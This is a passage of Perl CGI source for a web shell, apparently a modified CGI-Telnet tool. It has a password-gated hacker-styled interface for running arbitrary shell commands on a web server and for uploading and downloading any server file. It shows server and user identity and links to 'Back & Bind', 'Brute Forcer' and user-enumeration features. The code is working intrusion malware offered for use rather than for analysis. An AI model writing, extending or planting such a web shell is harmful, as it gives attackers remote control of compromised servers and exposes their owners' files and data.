Servers.\r\n\r\n\$ShowDynamicOutput = 1;\t\t\t# If this is 1, then data is sent to the\r\n\t\t\t\t\t# browser as soon as it is output, otherwise\r\n\t\t\t\t\t# it is buffered and send when the command\r\n\t\t\t\t\t# completes. This is useful for commands like\r\n\t\t\t\t\t# ping, so that you can see the output as it\r\n\t\t\t\t\t# is being generated.\r\n\r\n# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!\r\n\r\n\$CmdSep = (\$WinNT ? \$NTCmdSep : \$UnixCmdSep);\r\n\$CmdPwd = (\$WinNT ? \"cd\" : \"pwd\");\r\n\$PathSep = (\$WinNT ? \"\\\\\" : \"/\");\r\n\$Redirector = (\$WinNT ? \" 2>&1 1>&2\" : \" 1>&1 2>&1\");\r\n\$cols= 130;\r\n\$rows= 26;\r\n#------------------------------------------------------------------------------\r\n# Reads the input sent by the browser and parses the input variables. It\r\n# parses GET, POST and multipart/form-data that is used for uploading files.\r\n# The filename is stored in \$in{'f'} and the data is stored in \$in{'filedata'}.\r\n# Other variables can be accessed using \$in{'var'}, where var is the name of\r\n# the variable. Note: Most of the code in this function is taken from other CGI\r\n# scripts.\r\n#------------------------------------------------------------------------------\r\nsub ReadParse \r\n{\r\n\tlocal (*in) = @_ if @_;\r\n\tlocal (\$i, \$loc, \$key, \$val);\r\n\t\$MultipartFormData = \$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/;\r\n\tif(\$ENV{'REQUEST_METHOD'} eq \"GET\")\r\n\t{\r\n\t\t\$in = \$ENV{'QUERY_STRING'};\r\n\t}\r\n\telsif(\$ENV{'REQUEST_METHOD'} eq \"POST\")\r\n\t{\r\n\t\tbinmode(STDIN) if \$MultipartFormData & \$WinNT;\r\n\t\tread(STDIN, \$in, \$ENV{'CONTENT_LENGTH'});\r\n\t}\r\n\t# handle file upload data\r\n\tif(\$ENV{'CONTENT_TYPE'} =~ /multipart\\/form-data; boundary=(.+)\$/)\r\n\t{\r\n\t\t\$Boundary = '--'.\$1; # please refer to RFC1867 \r\n\t\t@list = split(/\$Boundary/, \$in); \r\n\t\t\$HeaderBody = \$list[1];\r\n\t\t\$HeaderBody =~ /\\r\\n\\r\\n|\\n\\n/;\r\n\t\t\$Header = \$`;\r\n\t\t\$Body = \$';\r\n \t\t\$Body =~ s/\\r\\n\$//; # the last \\r\\n was put in by Netscape\r\n\t\t\$in{'filedata'} = \$Body;\r\n\t\t\$Header =~ /filename=\\\"(.+)\\\"/; \r\n\t\t\$in{'f'} = \$1; \r\n\t\t\$in{'f'} =~ s/\\\"//g;\r\n\t\t\$in{'f'} =~ s/\\s//g;\r\n\r\n\t\t# parse trailer\r\n\t\tfor(\$i=2; \$list[\$i]; \$i++)\r\n\t\t{ \r\n\t\t\t\$list[\$i] =~ s/^.+name=\$//;\r\n\t\t\t\$list[\$i] =~ /\\\"(\\w+)\\\"/;\r\n\t\t\t\$key = \$1;\r\n\t\t\t\$val = \$';\r\n\t\t\t\$val =~ s/(^(\\r\\n\\r\\n|\\n\\n))|(\\r\\n\$|\\n\$)//g;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} = \$val; \r\n\t\t}\r\n\t}\r\n\telse # standard post data (url encoded, not multipart)\r\n\t{\r\n\t\t@in = split(/&/, \$in);\r\n\t\tforeach \$i (0 .. \$#in)\r\n\t\t{\r\n\t\t\t\$in[\$i] =~ s/\\+/ /g;\r\n\t\t\t(\$key, \$val) = split(/=/, \$in[\$i], 2);\r\n\t\t\t\$key =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$val =~ s/%(..)/pack(\"c\", hex(\$1))/ge;\r\n\t\t\t\$in{\$key} .= \"\\0\" if (defined(\$in{\$key}));\r\n\t\t\t\$in{\$key} .= \$val;\r\n\t\t}\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# function EncodeDir: encode base64 Path\r\n#------------------------------------------------------------------------------\r\nsub EncodeDir\r\n{\r\n\tmy \$dir = shift;\r\n\t\$dir = trim(encode_base64(\$dir));\r\n\t\$dir =~ s/(\\r|\\n)//;\r\n\treturn \$dir;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML Page Header\r\n# Argument 1: Form item name to which focus should be set\r\n#------------------------------------------------------------------------------\r\nsub PrintPageHeader\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$id = `id` if(!\$WinNT);\r\n\tmy \$info = `uname -s -n -r -i`;\r\n\tprint \"Content-type: text/html\\n\\n\";\r\n\tprint <<END;\r\n<html>\r\n<head>\r\n<meta http-equiv=\"content-type\" content=\"text/html; charset=UTF-8\">\r\n<title>o---[ \$Version ]</title>\r\n\$HtmlMetaHeader\r\n</head>\r\n<style>\r\nbody{\r\nfont: 10pt Verdana;\r\ncolor: #fff;\r\n}\r\ntr,td,table,input,textarea {\r\nBORDER-RIGHT: #3e3e3e 1px solid;\r\nBORDER-TOP: #3e3e3e 1px solid;\r\nBORDER-LEFT: #3e3e3e 1px solid;\r\nBORDER-BOTTOM: #3e3e3e 1px solid;\r\n}\r\n#domain tr:hover{\r\nbackground-color: #444;\r\n}\r\ntd {\r\ncolor: #2BA8EC;\r\n}\r\n.listdir td{\r\n\ttext-align: center;\r\n}\r\n.listdir th{\r\n\tcolor: #FF9900;\r\n}\r\n.dir,.file\r\n{\r\n\ttext-align: left !important;\r\n}\r\n.dir{\r\n\tfont-size: 10pt; \r\n\tfont-weight: bold;\r\n}\r\ntable {\r\nBACKGROUND-COLOR: #111;\r\n}\r\ninput {\r\nBACKGROUND-COLOR: Black;\r\ncolor: #ff9900;\r\n}\r\ninput.submit {\r\ntext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\ncolor: #FFFFFF;\r\nborder-color: #009900;\r\n}\r\ncode {\r\nborder: dashed 0px #333;\r\ncolor: while;\r\n}\r\nrun {\r\nborder\t\t\t: dashed 0px #333;\r\ncolor: #FF00AA;\r\n}\r\ntextarea {\r\nBACKGROUND-COLOR: #1b1b1b;\r\nfont: Fixedsys bold;\r\ncolor: #aaa;\r\n}\r\nA:link {\r\n\tCOLOR: #2BA8EC; TEXT-DECORATION: none\r\n}\r\nA:visited {\r\n\tCOLOR: #2BA8EC; TEXT-DECORATION: none\r\n}\r\nA:hover {\r\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\n\tcolor: #FFFFFF; TEXT-DECORATION: none\r\n}\r\nA:active {\r\n\tcolor: Red; TEXT-DECORATION: none\r\n}\r\n.listdir tr:hover{\r\n\tbackground: #444;\r\n}\r\n.listdir tr:hover td{\r\n\tbackground: #444;\r\n\ttext-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;\r\n\tcolor: #FFFFFF; TEXT-DECORATION: none;\r\n}\r\n.notline{\r\n\tbackground: #111;\r\n}\r\n.line{\r\n\tbackground: #222;\r\n}\r\n</style>\r\n<script language=\"javascript\">\r\nfunction Encoder(name)\r\n{\r\n\tvar e = document.getElementById(name);\r\n\te.value = btoa(e.value);\r\n\treturn true;\r\n}\r\nfunction chmod_form(i,file)\r\n{\r\n\tdocument.getElementById(\"FilePerms_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action='' method='POST'><input id=text_\" + i + \" name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='\$EncodeCurrentDir'><input type=hidden name=f value='\"+file+\"'></form>\";\r\n\tdocument.getElementById(\"text_\" + i).focus();\r\n}\r\nfunction rm_chmod_form(response,i,perms,file)\r\n{\r\n\tresponse.innerHTML = \"<span onclick=\\\\\\\"chmod_form(\" + i + \",'\"+ file+ \"')\\\\\\\" >\"+ perms +\"</span></td>\";\r\n}\r\nfunction rename_form(i,file,f)\r\n{\r\n\tf.replace(/\\\\\\\\/g,\"\\\\\\\\\\\\\\\\\");\r\n\tvar back=\"rm_rename_form(\"+i+\",\\\\\\\"\"+file+\"\\\\\\\",\\\\\\\"\"+f+\"\\\\\\\"); return false;\";\r\n\tdocument.getElementById(\"File_\"+i).innerHTML=\"<form name=FormPerms_\" + i+ \" action='' method='POST'><input id=text_\" + i + \" name=rename type=text value= '\"+file+\"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='\" + back + \"' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='\$EncodeCurrentDir'><input type=hidden name=f value='\"+file+\"'></form>\";\r\n\tdocument.getElementById(\"text_\" + i).focus();\r\n}\r\nfunction rm_rename_form(i,file,f)\r\n{\r\n\tif(f=='f')\r\n\t{\r\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=command&d=\$EncodeCurrentDir&c=edit%20\"+file+\"%20'>\" +file+ \"</a>\";\r\n\t}else\r\n\t{\r\n\t\tdocument.getElementById(\"File_\"+i).innerHTML=\"<a href='?a=gui&d=\"+f+\"'>[ \" +file+ \" ]</a>\";\r\n\t}\r\n}\r\n</script>\r\n<body onLoad=\"document.f.@_.focus()\" bgcolor=\"#0c0c0c\" topmargin=\"0\" leftmargin=\"0\" marginwidth=\"0\" marginheight=\"0\">\r\n<center><code>\r\n<table border=\"1\" width=\"100%\" cellspacing=\"0\" cellpadding=\"2\">\r\n<tr>\r\n\t<td align=\"center\" rowspan=3>\r\n\t\t<b><font size=\"3\">o---[ \$EditPersion ]---o</font></b>\r\n\t</td>\r\n\t<td>\r\n\t\t\$info\r\n\t</td>\r\n\t<td>Server IP:<font color=\"#ff9900\"> \$ENV{'SERVER_ADDR'}</font> | Your IP: <font color=\"#ff9900\">\$ENV{'REMOTE_ADDR'}</font>\r\n\t</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\">\r\n<a href=\"\$ScriptLocation\">Home</a> | \r\n<a href=\"\$ScriptLocation?a=command&d=\$EncodeCurrentDir\">Command</a> |\r\n<a href=\"\$ScriptLocation?a=gui&d=\$EncodeCurrentDir\">GUI</a> | \r\n<a href=\"\$ScriptLocation?a=upload&d=\$EncodeCurrentDir\">Upload File</a> | \r\n<a href=\"\$ScriptLocation?a=download&d=\$EncodeCurrentDir\">Download File</a> |\r\n<a href=\"\$ScriptLocation?a=backbind\">Back & Bind</a> |\r\n<a href=\"\$ScriptLocation?a=bruteforcer\">Brute Forcer</a> |\r\n<a href=\"\$ScriptLocation?a=checklog\">Check Log</a> |\r\n<a href=\"\$ScriptLocation?a=domainsuser\">Domains/Users</a> |\r\n<a href=\"\$ScriptLocation?a=logout\">Logout</a> |\r\n<a target='_blank' href=\"#\">Help</a>\r\n</td>\r\n</tr>\r\n<tr>\r\n<td colspan=\"2\">\r\n\$id\r\n</td>\r\n</tr>\r\n</table>\r\n<font id=\"ResponseData\" color=\"#FFFFFF\" >\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the Login Screen\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginScreen\r\n{\r\n\tprint <<END;\r\n<pre><script type=\"text/javascript\">\r\nTypingText = function(element, interval, cursor, finishedCallback) {\r\n if((typeof document.getElementById == \"undefined\") || (typeof element.innerHTML == \"undefined\")) {\r\n this.running = true;\t// Never run.\r\n return;\r\n }\r\n this.element = element;\r\n this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });\r\n this.interval = (typeof interval == \"undefined\" ? 100 : interval);\r\n this.origText = this.element.innerHTML;\r\n this.unparsedOrigText = this.origText;\r\n this.cursor = (cursor ? cursor : \"\");\r\n this.currentText = \"\";\r\n this.currentChar = 0;\r\n this.element.typingText = this;\r\n if(this.element.id == \"\") this.element.id = \"typingtext\" + TypingText.currentIndex++;\r\n TypingText.all.push(this);\r\n this.running = false;\r\n this.inTag = false;\r\n this.tagBuffer = \"\";\r\n this.inHTMLEntity = false;\r\n this.HTMLEntityBuffer = \"\";\r\n}\r\nTypingText.all = new Array();\r\nTypingText.currentIndex = 0;\r\nTypingText.runAll = function() {\r\n for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();\r\n}\r\nTypingText.prototype.run = function() {\r\n if(this.running) return;\r\n if(typeof this.origText == \"undefined\") {\r\n setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\t// We haven't finished loading yet. Have patience.\r\n return;\r\n }\r\n if(this.currentText == \"\") this.element.innerHTML = \"\";\r\n// this.origText = this.origText.replace(/<([^<])*>/, \"\"); // Strip HTML from text.\r\n if(this.currentChar < this.origText.length) {\r\n if(this.origText.charAt(this.currentChar) == \"<\" && !this.inTag) {\r\n this.tagBuffer = \"<\";\r\n this.inTag = true;\r\n this.currentChar++;\r\n this.run();\r\n return;\r\n } else if(this.origText.charAt(this.currentChar) == \">\" && this.inTag) {\r\n this.tagBuffer += \">\";\r\n this.inTag = false;\r\n this.currentText += this.tagBuffer;\r\n this.currentChar++;\r\n this.run();\r\n return;\r\n } else if(this.inTag) {\r\n this.tagBuffer += this.origText.charAt(this.currentChar);\r\n this.currentChar++;\r\n this.run();\r\n return;\r\n } else if(this.origText.charAt(this.currentChar) == \"&\" && !this.inHTMLEntity) {\r\n this.HTMLEntityBuffer = \"&\";\r\n this.inHTMLEntity = true;\r\n this.currentChar++;\r\n this.run();\r\n return;\r\n } else if(this.origText.charAt(this.currentChar) == \";\" && this.inHTMLEntity) {\r\n this.HTMLEntityBuffer += \";\";\r\n this.inHTMLEntity = false;\r\n this.currentText += this.HTMLEntityBuffer;\r\n this.currentChar++;\r\n this.run();\r\n return;\r\n } else if(this.inHTMLEntity) {\r\n this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);\r\n this.currentChar++;\r\n this.run();\r\n return;\r\n } else {\r\n this.currentText += this.origText.charAt(this.currentChar);\r\n }\r\n this.element.innerHTML = this.currentText;\r\n this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == \"function\" ? this.cursor(this.currentText) : this.cursor) : \"\");\r\n this.currentChar++;\r\n setTimeout(\"document.getElementById('\" + this.element.id + \"').typingText.run()\", this.interval);\r\n } else {\r\n\tthis.currentText = \"\";\r\n\tthis.currentChar = 0;\r\n this.running = false;\r\n this.finishedCallback();\r\n }\r\n}\r\n</script>\r\n</pre>\r\n\r\n<br>\r\n\r\n<script type=\"text/javascript\">\r\nnew TypingText(document.getElementById(\"hack\"), 30, function(i){ var ar = new Array(\"_\",\"\"); return \" \" + ar[i.length % ar.length]; });\r\nTypingText.runAll();\r\n\r\n</script>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# encode html special chars\r\n#------------------------------------------------------------------------------\r\nsub UrlEncode(\$){\r\n\tmy \$str = shift;\r\n\t\$str =~ s/([^A-Za-z0-9])/sprintf(\"%%%02X\", ord(\$1))/seg;\r\n\treturn \$str;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Add html special chars\r\n#------------------------------------------------------------------------------\r\nsub HtmlSpecialChars(\$){\r\n\tmy \$text = shift;\r\n\t\$text =~ s/&/&/g;\r\n\t\$text =~ s/\"/"/g;\r\n\t\$text =~ s/'/'/g;\r\n\t\$text =~ s/</</g;\r\n\t\$text =~ s/>/>/g;\r\n\treturn \$text;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Add link for directory\r\n#------------------------------------------------------------------------------\r\nsub AddLinkDir(\$)\r\n{\r\n\tmy \$ac=shift;\r\n\tmy @dir=();\r\n\tif(\$WinNT)\r\n\t{\r\n\t\t@dir=split(/\\\\/,\$CurrentDir);\r\n\t}else\r\n\t{\r\n\t\t@dir=split(\"/\",&trim(\$CurrentDir));\r\n\t}\r\n\tmy \$path=\"\";\r\n\tmy \$result=\"\";\r\n\tforeach (@dir)\r\n\t{\r\n\t\t\$path .= \$_.\$PathSep;\r\n\t\t\$result.=\"<a href='?a=\".\$ac.\"&d=\".encode_base64(\$path).\"'>\".\$_.\$PathSep.\"</a>\";\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the message that informs the user of a failed login\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginFailedMessage\r\n{\r\n\tprint <<END;\r\n\r\n\r\nPassword:<br>\r\nLogin incorrect<br><br>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form for logging in\r\n#------------------------------------------------------------------------------\r\nsub PrintLoginForm\r\n{\r\n\tprint <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"a\" value=\"login\">\r\nLogin : Administrator<br>\r\nPassword:<input type=\"password\" name=\"p\">\r\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\r\n</form>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the footer for the HTML Page\r\n#------------------------------------------------------------------------------\r\nsub PrintPageFooter\r\n{\r\n\tprint \"<br><font color=red>o---[ <font color=#ff9900>Edit by \$EditPersion </font> ]---o</font></code></center></body></html>\";\r\n}\r\n#------------------------------------------------------------------------------\r\n# Retreives the values of all cookies. The cookies can be accesses using the\r\n# variable \$Cookies{''}\r\n#------------------------------------------------------------------------------\r\nsub GetCookies\r\n{\r\n\t@httpcookies = split(/; /,\$ENV{'HTTP_COOKIE'});\r\n\tforeach \$cookie(@httpcookies)\r\n\t{\r\n\t\t(\$id, \$val) = split(/=/, \$cookie);\r\n\t\t\$Cookies{\$id} = \$val;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the screen when the user logs out\r\n#------------------------------------------------------------------------------\r\nsub PrintLogoutScreen\r\n{\r\n\tprint \"Connection closed by foreign host.<br><br>\";\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Logs out the user and allows the user to login again\r\n#------------------------------------------------------------------------------\r\nsub PerformLogout\r\n{\r\n\tprint \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie\r\n\t&PrintPageHeader(\"p\");\r\n\t&PrintLogoutScreen;\r\n\r\n\t&PrintLoginScreen;\r\n\t&PrintLoginForm;\r\n\t&PrintPageFooter;\r\n\texit;\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called to login the user. If the password matches, it\r\n# displays a page that allows the user to run commands. If the password doens't\r\n# match or if no password is entered, it displays a form that allows the user\r\n# to login\r\n#------------------------------------------------------------------------------\r\nsub PerformLogin \r\n{\r\n\tif(\$LoginPassword eq \$Password) # password matched\r\n\t{\r\n\t\tprint \"Set-Cookie: SAVEDPWD=\$LoginPassword;\\n\";\r\n\t\t&PrintPageHeader;\r\n\t\tprint &ListDir;\r\n\t}\r\n\telse # password didn't match\r\n\t{\r\n\t\t&PrintPageHeader(\"p\");\r\n\t\t&PrintLoginScreen;\r\n\t\tif(\$LoginPassword ne \"\") # some password was entered\r\n\t\t{\r\n\t\t\t&PrintLoginFailedMessage;\r\n\r\n\t\t}\r\n\t\t&PrintLoginForm;\r\n\t\t&PrintPageFooter;\r\n\t\texit;\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to enter commands\r\n#------------------------------------------------------------------------------\r\nsub PrintCommandLineInputForm\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$dir= \"<span style='font: 11pt Verdana; font-weight: bold;'>\".&AddLinkDir(\"command\").\"</span>\";\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"<font color='#FFFFFF'>[admin\\@\$ServerName \$dir]\\\$</font> \";\r\n\treturn <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\" onSubmit=\"Encoder('c')\">\r\n\r\n<input type=\"hidden\" name=\"a\" value=\"command\">\r\n\r\n<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n\$Prompt\r\n<input type=\"text\" size=\"40\" name=\"c\" id=\"c\">\r\n<input class=\"submit\" type=\"submit\" value=\"Enter\">\r\n</form>\r\nEND\r\n}\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to download files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileDownloadForm\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$dir = &AddLinkDir(\"download\"); \r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\r\n\treturn <<END;\r\n<form name=\"f\" method=\"POST\" action=\"\$ScriptLocation\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n<input type=\"hidden\" name=\"a\" value=\"download\">\r\n\$Prompt download<br><br>\r\nFilename: <input class=\"file\" type=\"text\" name=\"f\" size=\"35\"><br><br>\r\nDownload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\r\n\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# Prints the HTML form that allows the user to upload files\r\n#------------------------------------------------------------------------------\r\nsub PrintFileUploadForm\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\tmy \$dir= &AddLinkDir(\"upload\");\r\n\t\$Prompt = \$WinNT ? \"\$dir > \" : \"[admin\\@\$ServerName \$dir]\\\$ \";\r\n\treturn <<END;\r\n<form name=\"f\" enctype=\"multipart/form-data\" method=\"POST\" action=\"\$ScriptLocation\">\r\n\$Prompt upload<br><br>\r\nFilename: <input class=\"file\" type=\"file\" name=\"f\" size=\"35\"><br><br>\r\nOptions: <input type=\"checkbox\" name=\"o\" id=\"up\" value=\"overwrite\">\r\n<label for=\"up\">Overwrite if it Exists</label><br><br>\r\nUpload: <input class=\"submit\" type=\"submit\" value=\"Begin\">\r\n<input type=\"hidden\" name=\"d\" value=\"\$EncodeCurrentDir\">\r\n<input class=\"submit\" type=\"hidden\" name=\"a\" value=\"upload\">\r\n</form>\r\nEND\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the timeout for a command expires. We need to\r\n# terminate the script immediately. This function is valid only on Unix. It is\r\n# never called when the script is running on NT.\r\n#------------------------------------------------------------------------------\r\nsub CommandTimeout\r\n{\r\n\tif(!\$WinNT)\r\n\t{\r\n\t\talarm(0);\r\n\t\treturn <<END;\r\n</textarea>\r\n<br><font color=yellow>\r\nCommand exceeded maximum time of \$CommandTimeoutDuration second(s).</font>\r\n<br><font size='6' color=red>Killed it!</font>\r\nEND\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function displays the page that contains a link which allows the user\r\n# to download the specified file. The page also contains a auto-refresh\r\n# feature that starts the download automatically.\r\n# Argument 1: Fully qualified filename of the file to be downloaded\r\n#------------------------------------------------------------------------------\r\nsub PrintDownloadLinkPage\r\n{\r\n\tlocal(\$FileUrl) = @_;\r\n\tmy \$result=\"\";\r\n\tif(-e \$FileUrl) # if the file exists\r\n\t{\r\n\t\t# encode the file link so we can send it to the browser\r\n\t\t\$FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack(\"H*\",\$1)/eg;\r\n\t\t\$DownloadLink = \"\$ScriptLocation?a=download&f=\$FileUrl&o=go\";\r\n\t\t\$HtmlMetaHeader = \"<meta HTTP-EQUIV=\\\"Refresh\\\" CONTENT=\\\"1; URL=\$DownloadLink\\\">\";\r\n\t\t&PrintPageHeader(\"c\");\r\n\t\t\$result .= <<END;\r\nSending File \$TransferFile...<br>\r\n\r\nIf the download does not start automatically,\r\n<a href=\"\$DownloadLink\">Click Here</a>\r\nEND\r\n\t\t\$result .= &PrintCommandLineInputForm;\r\n\t}\r\n\telse # file doesn't exist\r\n\t{\r\n\t\t\$result .= \"Failed to download \$FileUrl: \$!\";\r\n\t\t\$result .= &PrintFileDownloadForm;\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function reads the specified file from the disk and sends it to the\r\n# browser, so that it can be downloaded by the user.\r\n# Argument 1: Fully qualified pathname of the file to be sent.\r\n#------------------------------------------------------------------------------\r\nsub SendFileToBrowser\r\n{\r\n\tmy \$result = \"\";\r\n\tlocal(\$SendFile) = @_;\r\n\tif(open(SENDFILE, \$SendFile)) # file opened for reading\r\n\t{\r\n\t\tif(\$WinNT)\r\n\t\t{\r\n\t\t\tbinmode(SENDFILE);\r\n\t\t\tbinmode(STDOUT);\r\n\t\t}\r\n\t\t\$FileSize = (stat(\$SendFile))[7];\r\n\t\t(\$Filename = \$SendFile) =~ m!([^/^\\\\]*)\$!;\r\n\t\tprint \"Content-Type: application/x-unknown\\n\";\r\n\t\tprint \"Content-Length: \$FileSize\\n\";\r\n\t\tprint \"Content-Disposition: attachment; filename=\$1\\n\\n\";\r\n\t\tprint while(<SENDFILE>);\r\n\t\tclose(SENDFILE);\r\n\t\texit(1);\r\n\t}\r\n\telse # failed to open file\r\n\t{\r\n\t\t\$result .= \"Failed to download \$SendFile: \$!\";\r\n\t\t\$result .=&PrintFileDownloadForm;\r\n\t}\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user downloads a file. It displays a message\r\n# to the user and provides a link through which the file can be downloaded.\r\n# This function is also called when the user clicks on that link. In this case,\r\n# the file is read and sent to the browser.\r\n#------------------------------------------------------------------------------\r\nsub BeginDownload\r\n{\r\n\t\$EncodeCurrentDir = EncodeDir(\$CurrentDir);\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) |\r\n\t\t(!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\t&SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\t&PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to upload a file. If the\r\n# file is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it starts the upload process.\r\n#------------------------------------------------------------------------------\r\nsub UploadFile\r\n{\r\n\t# if no file is specified, print the upload form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\treturn &PrintFileUploadForm;\r\n\r\n\t}\r\n\tmy \$result=\"\";\r\n\t# start the uploading process\r\n\t\$result .= \"Uploading \$TransferFile to \$CurrentDir...<br>\";\r\n\r\n\t# get the fullly qualified pathname of the file to be created\r\n\tchop(\$TargetName) if (\$TargetName = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\$TransferFile =~ m!([^/^\\\\]*)\$!;\r\n\t\$TargetName .= \$PathSep.\$1;\r\n\r\n\t\$TargetFileSize = length(\$in{'filedata'});\r\n\t# if the file exists and we are not supposed to overwrite it\r\n\tif(-e \$TargetName && \$Options ne \"overwrite\")\r\n\t{\r\n\t\t\$result .= \"Failed: Destination file already exists.<br>\";\r\n\t}\r\n\telse # file is not present\r\n\t{\r\n\t\tif(open(UPLOADFILE, \">\$TargetName\"))\r\n\t\t{\r\n\t\t\tbinmode(UPLOADFILE) if \$WinNT;\r\n\t\t\tprint UPLOADFILE \$in{'filedata'};\r\n\t\t\tclose(UPLOADFILE);\r\n\t\t\t\$result .= \"Transfered \$TargetFileSize Bytes.<br>\";\r\n\t\t\t\$result .= \"File Path: \$TargetName<br>\";\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\t\$result .= \"Failed: \$!<br>\";\r\n\t\t}\r\n\t}\r\n\t\$result .= &PrintCommandLineInputForm;\r\n\treturn \$result;\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function is called when the user wants to download a file. If the\r\n# filename is not specified, it displays a form allowing the user to specify a\r\n# file, otherwise it displays a message to the user and provides a link\r\n# through which the file can be downloaded.\r\n#------------------------------------------------------------------------------\r\nsub DownloadFile\r\n{\r\n\t# if no file is specified, print the download form again\r\n\tif(\$TransferFile eq \"\")\r\n\t{\r\n\t\t&PrintPageHeader(\"f\");\r\n\t\treturn &PrintFileDownloadForm;\r\n\t}\r\n\t\r\n\t# get fully qualified path of the file to be downloaded\r\n\tif((\$WinNT & (\$TransferFile =~ m/^\\\\|^.:/)) | (!\$WinNT & (\$TransferFile =~ m/^\\//))) # path is absolute\r\n\t{\r\n\t\t\$TargetFile = \$TransferFile;\r\n\t}\r\n\telse # path is relative\r\n\t{\r\n\t\tchop(\$TargetFile) if(\$TargetFile = \$CurrentDir) =~ m/[\\\\\\/]\$/;\r\n\t\t\$TargetFile .= \$PathSep.\$TransferFile;\r\n\t}\r\n\r\n\tif(\$Options eq \"go\") # we have to send the file\r\n\t{\r\n\t\treturn &SendFileToBrowser(\$TargetFile);\r\n\t}\r\n\telse # we have to send only the link page\r\n\t{\r\n\t\treturn &PrintDownloadLinkPage(\$TargetFile);\r\n\t}\r\n}\r\n#------------------------------------------------------------------------------\r\n# This function is called to execute commands. It displays the output of the\r\n# command and allows the user to enter another command. The change directory\r\n# command is handled differently. In this case, the new directory is stored in\r\n# an internal variable and is used each time a command has to be executed. The\r\n# output of the change directory command is not displayed to the users\r\n# therefore error messages cannot be displayed.\r\n#------------------------------------------------------------------------------\r\nsub ExecuteCommand\r\n{\r\n\t\$CurrentDir = &TrimSlashes(\$CurrentDir);\r\n\tmy \$result=\"\";\r\n\tif(\$RunCommand =~ m/^\\s*cd\\s+(.+)/) # it is a change dir command\r\n\t{\r\n\t\t# we change the directory internally. 